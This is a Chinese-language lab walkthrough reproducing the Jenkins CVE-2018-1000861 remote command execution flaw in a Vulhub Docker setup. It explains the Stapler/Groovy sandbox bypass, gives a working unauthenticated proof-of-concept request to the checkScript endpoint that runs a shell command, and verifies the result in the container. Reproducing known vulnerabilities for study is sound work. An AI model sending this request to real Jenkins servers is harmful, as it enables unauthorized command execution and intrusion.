Jenkins远程命令执行漏洞(CVE-2018-1000861)
Vulnhub官方复现教程
https://vulhub.org/#/environments/jenkins/CVE-2018-1000861/
漏洞原理
Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。
通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。
参考链接:
复现过程
启动环境
https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为
cd /root/vulhub/jenkins/CVE-2018-1000861
搭建及运行漏洞环境:
docker-compose build && docker-compose up -d
用时:8分钟
环境启动后,访问http://your-ip:8080
,即可看到一个已经成功初始化的Jenkins,无需再进行任何操作。
漏洞复现
POC
使用 @orangetw 给出的一键化POC脚本,发送如下请求即可成功执行命令:
http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
?sandbox=true
&value=public class x {
public x(){
"touch /tmp/CVE-2018-1000861_is_success".execute()
}
}
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/CVE-2018-1000861_is_success%22.execute()}} HTTP/1.1
Host: 192.168.236.138:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
检验
进入容器
docker-compose exec jenkins bash
/tmp/success
已成功创建: